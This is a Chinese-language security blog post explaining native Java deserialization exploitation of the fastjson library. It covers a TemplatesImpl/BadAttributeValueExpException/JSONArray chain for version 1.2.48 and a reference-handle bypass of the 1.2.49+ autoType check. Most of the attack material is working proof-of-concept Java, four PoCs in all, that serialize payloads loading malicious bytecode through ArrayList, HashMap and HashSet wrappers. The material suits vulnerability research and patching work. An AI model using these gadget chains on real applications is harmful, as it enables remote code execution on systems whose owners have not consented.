fastjson原生反序列化

fastjson 1.2.48

版本和依赖

jdk:1.8.0_66

maven:

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>

通过之前的TemplatesImpl链分析我们知道他的getOutputProperties()会出发恶意字节码加载,在fastjson中的toString方法会自动调用toJsonString方法,因为是toString所以肯定会涉及到对象中的属性提取,从而出发getter()方法导致恶意类加载。

又因为BadAttributeValueExpException类的readObject能触发任意对象的toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

我们可以通过反射的方式修改val的值从而出发jsonArray的toString方法

poc1

1
2
3
4
5
6
7
8
9
10
11
12
TemplatesImpl obj=new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray=new JSONArray();
jsonArray.add(obj);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, jsonArray);
String ser=serialize(badAttributeValueExpException);
unserialize(ser);

fastjson 1.2.49

从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法,在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查

为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
    byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte();
handleReset();
}

depth++;
try {
switch (tc) {
case TC_NULL:
return readNull();

case TC_REFERENCE:
return readHandle(unshared);

case TC_CLASS:
return readClass(unshared);

case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);

case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));

case TC_ARRAY:
return checkResolve(readArray(unshared));

case TC_ENUM:
return checkResolve(readEnum(unshared));

case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));

case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);

case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}

case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}

default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
}

当为引用类型时不会触发

如何成为引用类型?

那么如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查?

答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,两个相同的对象在同一个反序列化的过程中只会被反序列化一次。那么我们可以在序列化的时候注入两个相同的 TemplatesImpl 对象,第二个 TemplatesImpl 对象被封装到 JSONArray 中。那么在反序列化我们的 payload 时,如果先用正常的 ObjectInputStream 反序列化了第一个 TemplatesImpl 对象,那么在第二次在 JSONArray.readObject() 中,就不会再用 SecureObjectInputStream 来反序列化这个相同的 TemplatesImpl 对象了,就会绕过checkAutoType()的检查!

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);

//List绕过
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(exception);
//序列化,反序列化
String ser = serialize(arrayList);
unserialize(ser);

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);

HashMap map = new HashMap();
map.put(templates, exception);
//序列化,反序列化
String ser = serialize(map);
unserialize(ser);

poc3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);

//Set绕过
Set set = new HashSet();
set.add(templates);
set.add(exception);
//序列化,反序列化
String ser = serialize(set);
unserialize(ser);

fastjson原生反序列化
https://lvyzcc.github.io/2025/04/18/fastjson原生反序列化/
作者
LvYz
发布于
2025年4月18日
许可协议